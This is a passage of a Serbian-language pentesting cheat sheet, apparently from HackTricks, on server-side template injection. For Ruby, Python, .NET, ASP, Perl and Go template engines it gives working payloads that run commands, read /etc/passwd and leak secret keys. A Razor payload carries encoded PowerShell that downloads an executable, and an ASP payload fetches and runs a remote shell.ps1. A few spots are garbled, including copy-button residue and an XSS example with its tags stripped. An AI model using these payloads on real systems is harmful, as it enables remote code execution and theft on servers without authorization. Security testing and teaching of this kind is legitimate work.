- Više informacija na [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) ### ERB (Ruby) - `{{7*7}} = {{7*7}}` - `${7*7} = ${7*7}` - `<%= 7*7 %> = 49` - `<%= foobar %> = Greška` ```python <%= system("whoami") %> #Execute code <%= Dir.entries('/') %> #List folder <%= File.open('/etc/passwd').read %> #Read file <%= system('cat /etc/passwd') %> <%= `ls /` %> <%= IO.popen('ls /').readlines() %> <% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%> <% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%> ``` **Više informacija** - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby) ### Slim (Ruby) - `{ 7 * 7 }` ``` { %x|env| } ``` **Više informacija** - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby) ### Ostali Ruby

https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg

- Više informacija na [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) ### Python Pogledajte sledeću stranicu da biste naučili trikove o **izvršavanju proizvoljnih komandi zaobilaženjem sandboksova** u pythonu: {{#ref}} ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ {{#endref}} ### Tornado (Python) - `{{7*7}} = 49` - `${7*7} = ${7*7}` - `{{foobar}} = Greška` - `{{7*'7'}} = 7777777` ```python {% raw %} {% import foobar %} = Error {% import os %} {% import os %} {% endraw %} {{os.system('whoami')}} {{os.system('whoami')}} ``` **Više informacija** - [https://ajinabraham.com/blog/server-side-template-injection-in-tornado](https://ajinabraham.com/blog/server-side-template-injection-in-tornado) ### Jinja2 (Python) [Zvanična stranica](http://jinja.pocoo.org) > Jinja2 je potpuno opremljen engine za šablone za Python. Ima punu podršku za unicode, opcioni integrisani sandboxed izvršni okruženje, široko korišćen i licenciran pod BSD. - `{{7*7}} = Greška` - `${7*7} = ${7*7}` - `{{foobar}} Ništa` - `{{4*4}}[[5*5]]` - `{{7*'7'}} = 7777777` - `{{config}}` - `{{config.items()}}` - `{{settings.SECRET_KEY}}` - `{{settings}}` - `
` ```python {% raw %} {% debug %} {% endraw %} {{settings.SECRET_KEY}} {{4*4}}[[5*5]] {{7*'7'}} would result in 7777777 ``` **Jinja2 - Format šablona** ```python {% raw %} {% extends "layout.html" %} {% block body %} {% endblock %} {% endraw %} ``` [**RCE nije zavistan od**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`: ```python {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }} {{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }} {{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }} # Or in the shotest versions: {{ cycler.__init__.__globals__.os.popen('id').read() }} {{ joiner.__init__.__globals__.os.popen('id').read() }} {{ namespace.__init__.__globals__.os.popen('id').read() }} ``` **Više detalja o tome kako zloupotrebiti Jinja**: {{#ref}} jinja2-ssti.md {{#endref}} Ostali payloadi u [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2) ### Mako (Python) ```python <% import os x=os.popen('id').read() %> ${x} ``` **Više informacija** - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako) ### Ostali Python

https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg

- Više informacija na [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) ### Razor (.Net) - `@(2+2) <= Success` - `@() <= Success` - `@("{{code}}") <= Success` - `@ <=Success` - `@{} <= ERROR!` - `@{ <= ERRROR!` - `@(1+2)` - `@( //C#Code )` - `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");` - `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");` Metoda .NET `System.Diagnostics.Process.Start` može se koristiti za pokretanje bilo kog procesa na serveru i tako kreirati webshell. Možete pronaći primer ranjive web aplikacije na [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) **Više informacija** - [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/]() - [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/) ### ASP - `<%= 7*7 %>` = 49 - `<%= "foo" %>` = foo - `<%= foo %>` = Ništa - `<%= response.write(date()) %>` = \ ```xml <%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %> ``` **Više informacija** - [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp) ### Mojolicious (Perl) Čak i ako je to perl, koristi oznake poput ERB u Ruby-ju. - `<%= 7*7 %> = 49` - `<%= foobar %> = Error` ``` <%= perl code %> <% perl code %> ``` ### SSTI u GO U Go-ovom engine-u za šablone, potvrda njegove upotrebe može se izvršiti sa specifičnim payload-ima: - `{{ . }}`: Otkrije strukturu podataka koja je uneta. Na primer, ako je objekat sa atributom `Password` prosleđen, `{{ .Password }}` bi mogao da ga otkrije. - `{{printf "%s" "ssti" }}`: Očekuje se da prikaže string "ssti". - `{{html "ssti"}}`, `{{js "ssti"}}`: Ovi payload-ovi bi trebali da vrate "ssti" bez dodavanja "html" ili "js". Dalje direktive mogu se istražiti u Go dokumentaciji [ovde](https://golang.org/pkg/text/template).

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

**XSS Eksploatacija** Sa paketom `text/template`, XSS može biti jednostavan umetanje payload-a direktno. Nasuprot tome, paket `html/template` kodira odgovor kako bi to sprečio (npr., `{{""}}` rezultira u `<script>alert(1)</script>`). Ipak, definicija i pozivanje šablona u Go-u mogu zaobići ovo kodiranje: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}} vbnet Copy code **RCE Eksploatacija** RCE eksploatacija se značajno razlikuje između `html/template` i `text/template`. Modul `text/template` omogućava direktno pozivanje bilo koje javne funkcije (koristeći vrednost “call”), što nije dozvoljeno u `html/template`. Dokumentacija za ove module je dostupna [ovde za html/template](https://golang.org/pkg/html/template/) i [ovde za text/template](https://golang.org/pkg/text/template/). Za RCE putem SSTI u Go-u, metode objekta mogu biti pozvane. Na primer, ako prosleđeni objekat ima metodu `System` koja izvršava komande, može se eksploatisati kao `{{ .System "ls" }}`. Pristup izvoru koda je obično neophodan za eksploataciju ovoga, kao u datom primeru: ```go func (p Person) Secret (test string) string { out, _ := exec.Command(test).CombinedOutput() return string(out) } ``` **Više informacija** - [https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to](https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to) - [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/) ### Više Eksploatacija Proverite ostatak [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) za više eksploatacija. Takođe možete pronaći zanimljive informacije o tagovima u [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) ## BlackHat PDF {% file src="../../images/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %} ## Povezana Pomoć Ako mislite da bi moglo biti korisno, pročitajte: - [Flask trikovi](../../network-services-pentesting/pentesting-web/flask.md) - [Python magične funkcije](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-template-injection/broken-reference/README.md) ## Alati - [https://github.com/Hackmanit/TInjA](https://github.com/Hackmanit/TInjA) - [https://github.com/vladko312/sstimap](https://github.com/vladko312/sstimap) - [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap) - [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table) ## Lista za Detekciju Brute-Force {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %} ## Vežba & Reference - [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting) - [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) - [https://portswigger.net/web-security/server-side-template-injection](https://portswigger.net/web-security/server-side-template-injection) {{#include ../../banners/hacktricks-training.md}}